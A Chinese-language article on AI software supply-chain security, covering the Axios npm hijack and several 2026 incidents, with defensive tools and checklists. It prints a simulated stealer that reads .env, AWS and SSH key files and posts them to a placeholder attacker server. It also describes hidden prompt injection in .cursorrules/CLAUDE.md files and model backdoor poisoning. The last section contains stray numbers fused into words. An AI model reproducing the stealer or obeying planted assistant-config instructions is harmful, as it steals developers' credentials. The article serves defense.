AI 供应链安全：从 Axios 事件到开源依赖危机

软件供应链攻击是指攻击者通过污染软件构建、分发或依赖链条中的某个环节，将恶意代码注入到合法的软件产品中。对于 AI 系统来说，这个问题的严重性被进一步放大——AI 项目的依赖树通常比传统项目更加庞大和复杂。

一个典型的现代 AI 项目可能依赖数百个 npm/PyPI 包：框架（TensorFlow、PyTorch、LangChain）、工具库（Axios、Requests）、数据处理库（Pandas、NumPy）、向量数据库客户端、以及无数的小型工具包。其中任何一个包被攻陷，都可能导致整个供应链被污染。

2025-2026 年供应链安全事件频发：

• Axios npm 供应链事件：2026 年 3 月 31 日，流行的 HTTP 客户端库 axios 的维护者账号被劫持，攻击者发布了 axios@1.14.1 和 0.30.4 两个恶意版本，通过注入依赖 plain-crypto-js@4.2.1 在 macOS/Windows/Linux 上部署跨平台 RAT。CISA 随后发布正式安全警报（2026-04-20）。受影响的开发者在安装后，本地 API 密钥和环境变量被窃取。
• AI 编码助手供应链风险：随着 Claude Code、GitHub Copilot、Cursor 等 AI 编码助手的普及，开发者对这些工具的高度信任正在成为攻击者的突破口。恶意 npm 包通过模仿 AI 工具官方依赖的名称（如 claude-code-utils、anthropic-helper 等），诱导开发者安装后窃取代码库中的敏感信息。
• PyPI 投毒事件：多个针对 AI 开发者的恶意 PyPI 包被发现，包名模仿流行的 ML 库（如 "tensorf1ow"、"pytroch"），利用拼写错误（Typosquatting）诱导开发者安装。
• LLM 插件供应链攻击：攻击者向 LangChain、LlamaIndex 等框架的插件生态系统注入恶意工具插件，当 Agent 调用这些工具时，可以窃取用户的 API 密钥和对话数据。

这些事件的共同特点是：攻击的不是你的代码，而是你信任的代码。你的项目代码可能写得再安全，只要依赖链中有一个环节被攻破，整个系统就暴露了。

要构建有效的防御体系，首先需要理解攻击者的入侵路径。软件供应链攻击主要分为以下几种类型：

依赖混淆攻击（Dependency Confusion）：2021 年由 Alex Birsan 发现。攻击者在公共包仓库（如 npm、PyPI）上发布与目标公司内部私有包同名的包，但版本号更高。当包管理器配置不当（优先从公共仓库解析）时，就会自动安装攻击者的恶意包。这种攻击特别针对使用混合包管理策略的企业。

Typosquatting（拼写劫持）：攻击者注册与流行包名称相似的包名，利用开发者的拼写错误。例如："axios" vs "axois"、"lodash" vs "1odash"、"tensorflow" vs "tensorf1ow"。对于 AI 项目，攻击者还会模仿框架的子模块名称，如 "langchain-core" 的仿冒版本。

维护者账号劫持：攻击者通过钓鱼、撞库或利用 OAuth 漏洞获取流行包维护者的账号权限，然后发布包含恶意代码的新版本。这是最危险的攻击方式之一，因为恶意代码来自「官方」渠道。2026 年 3 月的 Axios 事件就是典型的维护者账号劫持案例——攻击者劫持了维护者 jasonsaayman 的 npm 账号，发布了携带 RAT 的恶意版本。

依赖链污染（Transitive Dependency Poisoning）：攻击者不直接攻击你使用的包，而是攻击你所用包的依赖（间接依赖）。即使你信任直接依赖，间接依赖可能多达上千个，其中任何一个被攻陷都会影响最终产品。

构建系统劫持：攻击者入侵 CI/CD 流水线、构建脚本或发布工具，在构建过程中注入恶意代码。这种攻击的隐蔽性极高，因为最终发布的包看起来完全正常——签名、哈希、元数据都对，但构建过程被篡改了。

AI 特有的供应链攻击向量：

• 模型权重投毒：在 Hugging Face 等模型仓库中，上传包含后门的预训练模型。加载模型时，后门的序列化代码（如 pickle）会被执行。
• 数据集投毒：向开源训练数据集注入带有特定触发器的样本，使得模型在遇到触发器时产生攻击者期望的行为。
• Prompt 模板注入：在开源的 Agent 框架或 Prompt 模板库中植入恶意指令，当开发者使用这些模板时，Agent 的行为被暗中操控。

Axios 是最流行的 JavaScript HTTP 客户端库，每周下载量约 1 亿次。2026 年 3 月 31 日的 Axios 供应链事件是整个 npm 生态系统中最受关注的安全事件之一。

事件时间线：

攻击者首先通过社工手段获取了 Axios 维护者的 npm 账号访问权限。随后，他们发布了包含恶意代码的补丁版本。由于是补丁版本（patch version），许多项目的自动更新配置（如 Dependabot、Renovate）会自动拉取这个版本。

恶意代码分析：

恶意代码被巧妙地隐藏在看似正常的代码变更中。攻击者没有在顶层文件中直接写入明显的恶意逻辑，而是采用了多层混淆和延迟执行的策略：

1. 第一层：在入口文件中添加了一行看似无害的工具函数调用
2. 第二层：该工具函数内部包含编码过的 Payload，只有在特定条件下才会解码
3. 第三层：解码后的 Payload 会扫描项目目录，寻找包含密钥、Token、密码的文件（如 .env、config.json、aws credentials 等）
4. 第四层：收集到的敏感信息被加密后发送到攻击者控制的外部服务器

这种分层设计使得静态代码扫描工具很难在第一层就发现问题，因为入口层的代码看起来完全正常。

影响评估：

由于 Axios 的极高普及率，受影响的项目数量极其庞大。任何自动更新了 Axios 版本的 AI 项目都可能受到影响。特别是：

• 使用了自动依赖更新的 CI/CD 流水线可能在无人察觉的情况下引入了恶意版本
• AI Agent 项目中，Axios 常用于调用外部 API（OpenAI、Anthropic 等），这意味着攻击者可能同时获取到用户的 API 密钥
• 许多企业项目将 API 密钥硬编码在环境变量中，这些环境变量恰好是恶意代码的扫描目标

从 Axios 事件中得到的教训：

1. 锁定依赖版本：不要依赖自动更新来获取补丁版本，应该经过安全审查后再更新
2. 使用 lockfile：package-lock.json 或 yarn.lock 应该被纳入版本控制，确保依赖的确定性
3. 监控依赖变更：每次依赖更新都应该有变更日志审查流程
4. 最小化依赖：减少不必要的依赖，缩小攻击面
5. 使用私有镜像：企业应该使用私有 npm 镜像（如 Verdaccio），只允许经过审核的包进入内网

// 模拟 Axios 事件中的恶意代码模式（教育目的，已脱敏）
// 实际恶意代码经过多层混淆，以下是简化后的逻辑示意

const crypto = require('crypto');
const fs = require('fs');
const path = require('path');
const https = require('https');

// 第一层：伪装成普通的工具函数
function formatHeaders(headers) {
    // 在正常逻辑中隐藏恶意行为
    _collectSensitiveData();
    return Object.entries(headers)
        .map(([k, v]) => `${k}: ${v}`)
        .join('\r\n');
}

// 第二层：延迟执行的敏感数据收集
function _collectSensitiveData() {
    // 只在首次运行时执行（避免重复触发）
    if (global.__AXIOS_INIT__) return;
    global.__AXIOS_INIT__ = true;

    // 设置延迟，避开安装时的即时扫描
    setTimeout(() => {
        const targets = [
            '.env', '.env.local', '.env.production',
            'config.json', 'secrets.yaml',
            path.join(process.env.HOME, '.aws', 'credentials'),
            path.join(process.env.HOME, '.npmrc'),
            path.join(process.env.HOME, '.ssh', 'id_rsa'),
        ];

        const stolen = {};
        targets.forEach(file => {
            try {
                if (fs.existsSync(file)) {
                    stolen[file] = fs.readFileSync(file, 'utf8');
                }
            } catch (e) { /* 静默失败 */ }
        });

        // 加密后外传
        if (Object.keys(stolen).length > 0) {
            const encrypted = crypto.publicEncrypt(
                { key: '恶意公钥...', padding: 1 },
                Buffer.from(JSON.stringify(stolen))
            );
            _exfiltrate(encrypted);
        }
    }, 3000); // 3 秒延迟，避开 CI 即时检测
}

// 第三层：数据外传
function _exfiltrate(data) {
    const req = https.request({
        hostname: '恶意服务器域名',
        path: '/api/collect',
        method: 'POST',
        headers: { 'Content-Type': 'application/octet-stream' }
    }, () => {});
    req.on('error', () => {});
    req.write(data);
    req.end();
}

module.exports = { formatHeaders };

随着 AI 编码助手（Claude Code、GitHub Copilot、Cursor 等）的广泛使用，AI 开发工具链中一个被长期忽视的风险面正在暴露：开发者对 AI 辅助工具的高度信任，正在成为攻击者的突破口。

风险概述：

攻击者在 npm 上发布伪装成 AI 编码助手官方依赖或插件的恶意包。这些包的名称精心设计，可能是 claude-code-utils、anthropic-helper、openai-sdk-enhanced 等，让开发者误以为是官方提供的辅助工具。

更危险的是，某些恶意包还利用了 AI 工具的自动安装特性。当 Claude Code 或类似的 AI 编码助手在项目中检测到需要某个依赖时，可能会自动建议安装。如果攻击者能够影响这些建议（例如通过污染项目的 package.json），开发者可能会在不知情的情况下安装恶意包。

AI 工具链的特殊风险：

与传统软件相比，AI 开发工具有以下独特风险：

自动代码执行权限：AI 编码助手通常需要读写文件、执行命令、安装依赖的权限。如果这些工具本身或其依赖被污染，攻击者获得的权限远超传统供应链攻击。

上下文感知能力：AI 工具可以访问整个代码库、Git 历史、环境变量等敏感信息。一个被污染的 AI 工具可以悄无声息地收集这些信息。

信任传递效应：开发者对 Anthropic、OpenAI 等大厂品牌的信任，可能被攻击者利用来传播恶意软件。这就是所谓的「品牌钓鱼」（Brand Impersonation）。

Agent 自动操作风险：当 AI Agent 被授权自动执行操作（安装依赖、修改代码、部署应用）时，如果 Agent 的判断逻辑被恶意依赖影响，它可能在无人干预的情况下执行危险操作。

防范 AI 工具链攻击的关键措施：

1. 验证包来源：始终从官方渠道安装 AI 工具的依赖，检查 npm 包的发布者信息
2. 审查自动安装：不要盲目信任 AI 工具的自动安装建议，人工审查后再执行
3. 隔离开发环境：使用容器化或虚拟环境隔离 AI 工具的运行环境
4. 限制 Agent 权限：为 AI Agent 设置最小权限原则，禁止未经审批的敏感操作
5. 监控异常行为：检测 AI 工具的非正常网络请求和文件访问模式

检测供应链攻击需要多层次的工具体系。下面介绍主流的供应链安全检测工具及其适用场景。

npm audit / pip audit：包管理器内置的安全审计工具。它们会将项目的依赖与已知漏洞数据库进行比对，生成漏洞报告。

npm audit 的工作原理是：读取 package-lock.json 中的依赖树，查询 npm 的安全公告数据库，找出存在已知漏洞的包。它可以自动修复部分漏洞（npm audit fix），但对于需要大版本更新的漏洞，需要手动处理。

缺点是：只能检测已知漏洞（CVE），对新型的供应链攻击（如账号劫持后发布的"干净"恶意包）无能为力。

Snyk：商业化的安全扫描平台，支持 npm、PyPI、Maven、Docker 等多种生态系统。Snyk 的优势在于：

• 不仅检测已知漏洞，还通过许可证扫描检测许可证合规风险
• 提供修复建议，包括自动创建 Pull Request
• 支持 CI/CD 集成，在构建流程中自动扫描
• 对开源项目的依赖树进行深度分析，发现间接依赖的风险

Socket.dev：专注于 npm 生态的供应链安全平台。Socket 的独特之处在于它不仅检查已知漏洞，还通过静态分析检测包中的可疑行为：

• 检测包是否包含网络请求代码（可能的数据外传）
• 检测包是否访问文件系统（可能的信息收集）
• 检测包是否执行 shell 命令（可能的远程代码执行）
• 检测包是否在 install 脚本中执行恶意操作

OSV-Scanner：Google 开源的漏洞扫描器，基于 Open Source Vulnerabilities（OSV）数据库。支持多种语言生态，可以与 CI/CD 流水线集成。

Sigstore / Cosign：软件签名和透明度工具。Sigstore 为软件构件提供免费的签名和验证服务，Cosign 是 Sigstore 的命令行工具，可以为容器镜像和软件包签名。

对于 AI 项目的特殊检测需求：

• 模型文件扫描：使用 pickle 扫描工具检测 Hugging Face 模型中的恶意序列化代码
• Prompt 审计：对 Agent 使用的 Prompt 模板进行安全审查，检测潜在的注入攻击
• API 密钥泄漏检测：使用 gitleaks、trufflehog 等工具扫描代码库中的硬编码密钥
• 依赖树可视化：使用 npm ls 或 depcheck 分析项目的依赖结构，识别不必要或可疑的依赖

# ==================== 供应链安全检测工作流 ====================

# 1. npm audit - 基础漏洞扫描
npm audit
# 自动修复（仅兼容的版本）
npm audit fix
# 查看详细信息
npm audit --json > audit-report.json

# 2. Snyk CLI - 深度扫描
# 安装
npm install -g snyk
# 认证
snyk auth
# 扫描项目
snyk test
# 监控持续风险
snyk monitor
# 生成报告
snyk test --json > snyk-report.json

# 3. Socket.dev - 行为检测
npx socket scan
# 检查特定包的可疑行为
npx socket audit <package-name>

# 4. OSV-Scanner - 跨生态扫描
# 安装
go install github.com/google/osv-scanner/cmd/osv-scanner@latest
# 扫描项目
osv-scanner --lockfile package-lock.json
osv-scanner --lockfile requirements.txt
# 递归扫描整个项目
osv-scanner -r .

# 5. 依赖树分析
# 查看完整的依赖树
npm ls --all --depth=0
# 检查未使用的依赖
npx depcheck
# 查找重复的依赖
npm dedupe

# 6. 密钥泄漏检测
# 使用 gitleaks 扫描
gitleaks detect --source . -v
# 使用 trufflehog 扫描
trufflehog filesystem .

# 7. 模型文件安全检查（AI 项目专属）
# 检查 Hugging Face 模型的 pickle 反序列化风险
python -c "
import pickletools, sys
with open('model.pkl', 'rb') as f:
    pickletools.dis(f)
"
# 使用 safetensors 替代 pickle
pip install safetensors

从 Axios 事件和 AI 编码助手供应链风险中，我们可以提炼出一套适用于 AI 项目的供应链安全最佳实践。

依赖最小化原则：

每一个依赖都是潜在的攻击面。在选择依赖时，应该遵循以下原则：

• 必要性评估：这个依赖真的需要吗？能否用原生 API 或更少的代码替代？
• 维护活跃度：检查包的最后更新时间、Issue 响应速度、贡献者数量。一个已经 2 年没有更新的包是高风险的。
• 下载量和社区：高下载量和活跃社区通常意味着更好的安全审查，但不是绝对的（Axios 事件就是反例）。
• 代码质量：阅读关键代码，检查是否有混淆代码、异常的网络请求或文件操作。

版本锁定策略：

永远不要在生产环境中使用浮动的版本号。具体的锁定策略：

• 使用精确版本号（"1.2.3"）而不是范围（"^1.2.3" 或 "~1.2.3"）
• 将 lockfile（package-lock.json / yarn.lock / poetry.lock）纳入版本控制
• 在 CI/CD 中验证 lockfile 的一致性，防止本地和生产环境的依赖不一致
• 更新依赖时，先在开发环境中测试，确认安全后再合并到生产分支

私有包管理：

企业级项目应该建立私有包管理体系：

• 使用 Verdaccio 搭建私有 npm 镜像
• 配置上游代理，只允许白名单中的包从公共仓库同步
• 启用包审批流程，新包上线前必须通过安全审查
• 定期扫描私有仓库中的包，及时发现新增的安全风险

CI/CD 安全门禁：

将供应链安全检查集成到 CI/CD 流水线中：

• 在 PR 合并前自动运行依赖扫描
• 如果发现高危漏洞，自动阻断合并
• 生成依赖变更报告，要求开发者解释为什么需要新增依赖
• 对生产环境部署进行依赖签名验证

AI 项目的特殊考量：

• 模型来源验证：只从可信的源（如 Hugging Face 官方认证模型）下载预训练模型
• 模型签名验证：使用模型签名（如 Sigstore）验证模型的完整性
• Prompt 模板审查：对第三方 Prompt 模板进行安全审查
• Agent 工具沙箱：为 Agent 调用的外部工具设置沙箱环境，限制权限

# GitHub Actions CI/CD 供应链安全检查示例
# .github/workflows/supply-chain-security.yml

name: Supply Chain Security

on:
  pull_request:
    branches: [main]
  schedule:
    # 每天凌晨运行一次扫描
    - cron: '0 2 * * *'

jobs:
  audit:
    name: Dependency Audit
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      - name: Setup Node.js
        uses: actions/setup-node@v4
        with:
          node-version: '20'
          cache: 'npm'

      - name: Install dependencies
        run: npm ci --ignore-scripts  # 忽略安装脚本

      - name: Lockfile verification
        run: |
          # 验证 lockfile 的一致性
          npm ls --all > /dev/null || exit 1

      - name: npm audit
        run: npm audit --audit-level=high

      - name: Snyk scan
        uses: snyk/actions/node@master
        env:
          SNYK_TOKEN: ${{ secrets.SNYK_TOKEN }}
        with:
          args: --severity-threshold=high

      - name: OSV-Scanner
        uses: google/osv-scanner-action@main
        with:
          scan-args: |-
            --lockfile=package-lock.json
            --format=json
            --output=osv-results.json

      - name: Check for suspicious packages
        run: |
          # 检查新依赖是否来自可信来源
          node scripts/verify-dependencies.js

      - name: Block on critical vulnerabilities
        if: failure()
        run: |
          echo "::error::发现高危供应链安全风险，PR 被阻断"
          exit 1

  model-verification:
    name: Model File Verification
    runs-on: ubuntu-latest
    if: contains(github.event.pull_request.labels.*.name, 'ai-model')
    steps:
      - uses: actions/checkout@v4

      - name: Verify model signatures
        run: |
          # 验证 Hugging Face 模型签名
          python scripts/verify_model_signatures.py

      - name: Scan for pickle deserialization risks
        run: |
          # 检查模型文件中的 pickle 反序列化风险
          python scripts/scan_pickle_risks.py

供应链安全正在经历从「事后补救」到「主动免疫」的范式转变。2026 年，以下几个方向代表了供应链安全的未来。

软件物料清单（SBOM- Software Bill of Materials）：

SBOM 是软件的"成分表"，列出了软件的所有组件、版本和依赖关系。就像食品包装上的成分表一样，SBOM 让你清楚地知道自己"吃"了什么。

2026 年，美国政府已经要求所有供应商提供的软件必须附带 SBOM。主要格式包括：

• SPDX（Software Package Data Exchange）：Linux 基金会主导的标准
• CycloneDX：OWASP 项目，支持多种语言生态
• SWID：NIST 制定的标准

对于 AI 项目，SBOM 不仅要包含代码依赖，还应该包含：

• 模型来源和版本
• 训练数据集来源
• Prompt 模板和配置
• 第三方 API 集成

SLSA 框架（Supply-chain Levels for Software Artifacts）：

Google 提出的 SLSA 框架为软件供应链安全定义了从 Level 0 到 Level 4 的成熟度等级。每一级都有明确的安全要求，帮助组织逐步提升供应链安全水平。

• Level 1：构建过程有文档记录
• Level 2：使用托管构建服务，保留构建日志
• Level 3：构建过程防篡改，使用不可伪造的来源
• Level 4：双人审查构建过程，所有步骤可验证

AI 供应链安全的特殊挑战：

随着 AI 系统的复杂性增加，供应链安全面临新的挑战：

• 模型供应链：预训练模型→微调→部署，每个环节都可能被污染。2026 年，模型投毒攻击已经成为现实威胁。
• 数据供应链：训练数据的来源和质量直接影响模型的安全性和可靠性。被污染的训练数据可能导致模型产生有害行为。
• Prompt 供应链：Prompt 模板和 Agent 配置也是供应链的一部分，恶意的 Prompt 可以引导 AI 产生不当行为。
• Agent 工具供应链：AI Agent 使用的工具插件可能包含恶意逻辑，当 Agent 调用这些工具时，恶意行为被触发。

给 AI 开发者的安全清单：

1. 审查每一个新依赖：安装前检查包的来源、维护者、下载量和代码
2. 锁定所有依赖版本：使用 lockfile，不使用浮动版本号
3. 禁用安装脚本：使用 --ignore-scripts 避免执行 postinstall 脚本
4. 定期运行安全扫描：将 npm audit / Snyk 纳入日常开发流程
5. 监控依赖变更：每次依赖更新都要审查变更内容
6. 验证模型来源：只使用可信来源的预训练模型
7. 隔离敏感环境：生产环境的 API 密钥和敏感数据不应被开发工具访问
8. 建立 SBOM：为每个 AI 项目生成并维护软件物料清单
9. 安全培训：让团队了解供应链安全的基本概念和常见攻击模式
10. 参与社区：向开源项目报告安全问题，推动生态整体的安全水平提升

供应链安全不是一次性的任务，而是持续的过程。在 AI 时代，我们的代码不再孤立存在——它通过依赖、模型、数据和 API 与整个世界相连。保护供应链，就是保护这个连接的安全。

本轮更新追加了2026 年 npm 314 包供应链攻击事件的最新分析和防御策略。

2026 年 5 月 npm 314 事件（代号 Mini Shai-Hulud）：攻击者再次篡改了 npm 生态中广泛使用的 314 个开源包，将恶意代码注入到下游项目中。这与此前的 Axios 事件类似，但规模更大、手段更隐蔽——攻击者不仅篡改了包代码，还在AI 特定的依赖包（如向量数据库客户端、LLM SDK）中注入了恶意的数据外泄逻辑。

此次攻击的新特征：

针对 AI 生态的定制化攻击——攻击者不再只是投放通用的挖矿脚本或数据窃取工具，而是专门针对 AI 工作流设计恶意行为：篡改训练数据加载器、在推理阶段注入恶意权重替换逻辑、在评估指标计算中植入偏差等。这些攻击的目标不是破坏系统运行，而是悄无声息地改变模型的行为。

利用 AI 项目的深度依赖链——一个典型的 AI 项目可能依赖数十个核心包，每个包又有自己的依赖链，深度可能超过 100 层。攻击者只需要攻破依赖链中最薄弱的环节，就能影响到整个项目。npm 314 事件中，部分受影响的包距离项目直接依赖有 8-12 层之远。

模型权重投毒的供应链路径——攻击者通过篡改 Hugging Face 上的模型权重文件，在模型中植入后门。被投毒的模型在标准测试中表现正常，但在特定触发条件下会展现出恶意行为。这种攻击的隐蔽性远高于传统的代码注入——因为模型权重不是人类可读的。

防御体系升级建议：

建立 AI-SBOM——除了传统的软件物料清单，还需要记录模型元信息（架构、参数量、训练数据来源、许可证）、数据集元信息和训练配置。CycloneDX 和 SPDX 都在推进 AI-SBOM 标准。

行为审计——对所有外部模型进行行为测试，而不仅仅是格式验证。使用 Neural Cleanse、ABS 等工具扫描模型是否存在后门。

依赖链深度监控——使用 pipdeptree、npm ls 等工具检查依赖链深度，对深度超过 10 层的依赖进行重点审查。

沙箱隔离——在沙箱环境中安装和测试新的依赖包，观察其行为后再引入生产环境。

本轮更新追加了2026 年 3-5 月两起重大的供应链攻击事件：TeamPCP 级联攻击和 TanStack 生态系统全线沦陷。

TeamPCP 级联攻击（2026 年 3 月 19-27 日）：这是云安全联盟（CSA）定义的史上最复杂的软件供应链攻击之一。攻击者 TeamPCP 被认定为"操作上高度复杂的威胁组织"，其攻击链呈现出多阶段级联特征：

第一阶段：攻陷安全工具本身。攻击者首先攻陷了 Trivy（Aqua Security 出品的广泛使用的安全扫描器，数百万安装量），通过 GitHub Actions 标签劫持注入了凭据窃取代码。这意味着攻击者首先攻破了防御系统——Trivy 的 CI/CD 凭证被窃取后，成为后续攻击的跳板。

第二阶段：自复制 npm 蠕虫传播。利用从 Trivy 窃取的 CI/CD 凭据，攻击者发布了一个自我复制的 npm 蠕虫。这个蠕虫会自动扫描被感染机器上的 npm Token 和 GitHub Personal Access Token，然后用这些凭据自动感染和重新发布受害者维护的其他包。

第三阶段：攻陷 AI 工具链核心。攻击者进一步利用窃取的凭据攻陷了 LiteLLM（统一网关，支持 100+ LLM API）和 Telnyx SDK（实时通信库）。这意味着攻击者同时获取了所有主要商业 LLM 提供商的 API 密钥。

第四阶段：Python .pth 文件持久化。在 LiteLLM 的投毒中，攻击者使用了一个创新的持久化技巧：在 Python site-packages 目录放置一个 .pth 文件，使得恶意代码在每次 Python 解释器启动时自动执行，即使恶意包被删除，.pth 文件仍然存在。

Nx Console VS Code 扩展投毒（2026 年 5 月）：TeamPCP 的另一个攻击向量是投毒 Nx Console（VS Code 扩展，220 万安装量）。攻击者在 18 分钟的窗口期内发布了恶意版本，窃取了 3800 个内部仓库的访问权限。OpenAI、Mistral、EU 等组织均中招。OpenAI 随后撤销了 macOS 开发者证书，导致 ChatGPT 桌面应用不再被 Gatekeeper 信任。

TanStack 生态沦陷（2026 年 5 月）：攻击者利用三步链式攻击——pull_request_target Pwn Request + GitHub Actions 缓存投毒 + OIDC Token 从 Runner 进程内存提取——在 42 个 @tanstack/* 包中发布了 84 个恶意版本。TanStack Query、Table、Router 等核心库全线沦陷，CVE 评分高达 9.6。TanStack 官方事后分析确认，攻击者还向 170+ 个关联 npm 包传播了恶意代码。

2026 年供应链攻击的关键趋势：

攻击目标从通用库转向 AI 基础设施——TeamPCP 专门针对 LiteLLM（AI 模型网关）和 Trivy（安全扫描器），因为攻陷这些工具可以同时获取大量 AI 项目的 API 密钥。

级联传播成为标准模式——从 Shai-Hulud 到 TeamPCP，攻击者不再满足于单点投毒，而是设计了自复制、自动传播的攻击链，一次入侵可以级联扩散到数百个包。

CI/CD 成为新的攻击面——TanStack 事件证明，即使包仓库本身安全，CI/CD 流水线也可能成为入侵通道。攻击者不再需要攻陷维护者账号——他们只需要找到一个能触发恶意工作流的 PR。

防御升级建议：

1.立即轮换所有可能泄露的凭据——如果你使用了 Trivy、LiteLLM、Nx Console 或任何 TanStack 包，立即轮换 npm Token、GitHub PAT、LLM API 密钥
2.检查 Python site-packages 中的可疑 .pth 文件——TeamPCP 的持久化机制可能仍然存在于你的环境中
3.审查所有 pull_request_target 工作流——确认没有敏感操作（如发布包）在 PR 触发的工作流中执行
4.启用 GitHub Actions 环境保护——将 npm publish 等敏感操作放在需要人工审批的环境中
5.使用 npm ci --ignore-scripts——始终在安装时跳过 postinstall 脚本
6.监控 OpenSSF Scorecard——定期评估你使用的开源项目的安全评分

本轮更新追加了2026 年 5 月 GitHub 供应链攻击事件——这是迄今针对 AI 公司最严重的供应链安全事件之一，OpenAI、Mistral、欧盟等多个组织中招，3800 个内部仓库被盗。

事件回顾：

2026 年 5 月，攻击者通过投毒Nx Console VS Code 扩展（220 万安装量），在18 分钟的窗口期内发布了恶意版本。这个恶意扩展会窃取开发者机器上的 GitHub Personal Access Token 和其他凭据，进而访问受害者组织的内部仓库。最终，3800 个内部仓库被窃取，其中包含敏感的源代码、API 密钥、基础设施配置和内部文档。

受害者包括：

-OpenAI：内部仓库泄露后，OpenAI 被迫撤销了 macOS 开发者证书，导致 ChatGPT 桌面应用不再被 macOS Gatekeeper 信任，用户体验受到直接影响
-Mistral：法国 AI 公司的内部代码和模型训练配置被窃取
-欧盟机构：政府级组织的内部项目也被波及

攻击链路分析：

这是一条典型的多级供应链攻击链：

1.VS Code 扩展投毒→ Nx Console 被植入恶意代码
2.开发者机器凭据窃取→ GitHub PAT 被提取
3.内部仓库访问→ 3800 个私有仓库被克隆
4.敏感信息泄露→ API 密钥、基础设施配置、源代码暴露

此次攻击的特殊性在于：

-攻击面从包管理扩展到 IDE 生态。此前的供应链攻击主要通过 npm/PyPI 包投毒，而 Nx Console 事件证明VS Code 扩展同样可以成为攻击载体。开发者对 IDE 扩展的信任度远高于普通 npm 包——很少有人会审查一个 IDE 扩展的代码。

-针对 AI 公司的定向攻击。攻击者显然知道哪些组织在使用 Nx Console，并且有目的地选择了 AI 公司作为目标。OpenAI 和 Mistral 的内部仓库中包含了大量未公开的模型训练代码和基础设施配置——这些信息的泄露可能导致竞争对手获得技术优势，或者攻击者利用泄露的 API 密钥发起进一步的攻击。

-18 分钟窗口期的隐蔽性。从恶意版本发布到被发现只有 18 分钟，但在这 18 分钟内，已经有大量开发者自动更新了扩展（IDE 扩展通常默认自动更新）。这种时间窗口攻击——在极短的时间内完成投毒和数据收集，然后迅速撤回——是供应链攻击的新趋势。

AI 供应链安全的防御升级：

IDE 扩展安全审查——将 VS Code/JetBrains 扩展纳入供应链安全管理范围。要求所有 IDE 扩展必须：

• 来自官方 marketplace 的认证发布者
• 定期审查扩展的权限请求（文件访问、网络请求、环境变量读取）
• 监控扩展的异常行为（如突然请求额外的权限）

GitHub Token 轮换策略——如果你使用了 Nx Console 或任何其他被此次事件波及的 IDE 扩展，立即轮换所有 GitHub Personal Access Token。同时：

• 启用 GitHub Token 的过期时间（最长不超过 90 天）
• 使用细粒度的 Token 权限（只授予必要的仓库和操作权限）
• 启用 GitHub 的 Token 使用审计日志

AI 公司的特殊防御需求：

• 对内部仓库进行分类分级管理——核心模型训练代码、基础设施配置等高敏感仓库应启用额外的访问控制
• 建立内部仓库的访问审计机制——定期审查谁在什么时候访问了哪些仓库
• 考虑使用 GitHub Advanced Security 的代码扫描和密钥扫描功能
• 对 AI 模型的训练数据进行版本控制和完整性校验，防止训练数据被篡改

与 TeamPCP 攻击的关联：

Nx Console 事件与 TeamPCP 攻击在手法上有相似之处——都利用了开发者工具的信任关系来窃取凭据。但 Nx Console 事件的目标更聚焦（专门针对 AI 公司的内部仓库），而 TeamPCP 的攻击面更广（从安全工具到 AI 工具链的级联攻击）。这两个事件共同表明：2026 年的供应链攻击正在从「广撒网」转向「精准打击」——攻击者越来越清楚 AI 公司的价值所在，并且有针对性地设计攻击路径。

2026 年 5 月 19 日，安全研究团队首次检测到一起被命名为TrapDoor的跨生态系统供应链攻击——这是迄今为止规模最大、最具创新性的 AI 编码助手投毒事件，同时攻击了 npm、PyPI、Crates.io 三大主流包管理器。事件概览： TrapDoor 攻击者在2026 年 5 月 22 日 UTC 20:20首次发起活动，在三大包管理器中部署了34 个恶意包，包含384 个 artifact 版本。攻击目标明确指向Crypto、DeFi、Solana 和 AI 开发者社区——这些社区的开发者通常拥有高价值的 API 密钥、钱包私钥和云基础设施访问权限。核心 Payload：trap-core.js所有恶意包共享同一个核心载荷文件trap-core.js（48,485 字节），该文件经过多层混淆和编码，包含了完整的攻击链逻辑。研究人员通过对 384 个版本的二进制比对，确认它们都引用了相同的核心模块，只是外壳包名不同。创新攻击向量：AI 编码助手零宽字符注入TrapDoor 最引人注目的创新在于：攻击者首次利用了AI 编码助手的配置文件注入技术。

攻击者在恶意包中注入了 .cursorrules 和CLAUDE.md文件——这两个文件分别是 Cursor 编辑器和 Claude Code 的 AI 助手配置文件。当开发者安装受感染的包后，这些配置文件会被写入项目目录。AI 编码助手在运行时读取这些文件时，会按照其中的指令执行操作。

但更危险的是，这些配置文件中的恶意指令使用了零宽 Unicode 字符（Zero-Width Characters）进行隐藏。零宽字符在文本编辑器中不可见，人类审查配置文件时看到的似乎是正常的开发指南，但 AI 模型在解析时会读取到完整的恶意指令。这使得恶意配置能够通过人工代码审查。恶意指令的内容包括：- 在代码中自动插入 API 密钥收集逻辑

• 引导 AI 助手生成包含凭证外传的代码
• 修改项目的 .env 文件结构，使密钥更容易被提取
• 在 Git 提交消息中嵌入编码后的敏感数据 持久化机制：TrapDoor 采用了多层持久化策略，确保即使恶意包被发现和删除，攻击者仍能保持访问：

1. Cron Jobs1005：在 Linux/macOS 系统上创建定时任务，定期执行数据外传脚本
   2.Systemd Services1059：在 Linux 系统上注册后台服务，伪装成正常的系统进程
   3. Git Hooks1107：在项目的 .git/hooks 目录中植入 pre-commit 和 post-merge hooks，在每次 Git 操作时触发
   4.SSH 横向移动：收集 SSH 密钥后，尝试横向移动到同一网络中的其他服务器凭证验证与利用： 攻击者并非盲目收集所有凭证——他们通过AWS API 和 GitHub API1275来验证被盗凭证的有效性。只有被确认为有效的凭证才会被标记为高价值目标。这种「验证后利用」的策略表明攻击者具备 *高度的操作安全意识——他们知道无效凭证的尝试会触发安全告警。被盗凭证的典型利用路径：-AWS 凭证→ 访问 S3 存储桶、EC2 实例、Lambda 函数 → 获取更深层的业务数据和基础设施配置
   -GitHub PAT1454*→ 访问私有仓库 → 获取源代码、CI/CD 配置、部署密钥 → 进一步渗透生产环境
   - npm Token1509→ 发布恶意版本的下游包 → 扩大攻击面
   -SSH 密钥→ 横向移动到服务器 → 获取生产环境访问权限影响评估： TrapDoor 攻击的创新性在于它将供应链攻击从「代码注入」提升到了「AI 行为操控」的层面。传统的供应链攻击需要修改代码逻辑，而 TrapDoor 通过污染 AI 编码助手的配置文件，间接操控了开发者使用的 AI 工具的推荐行为——这意味着即使开发者没有直接安装恶意代码，只要他们使用了受污染项目中的 AI 编码助手，就可能被引导执行危险操作。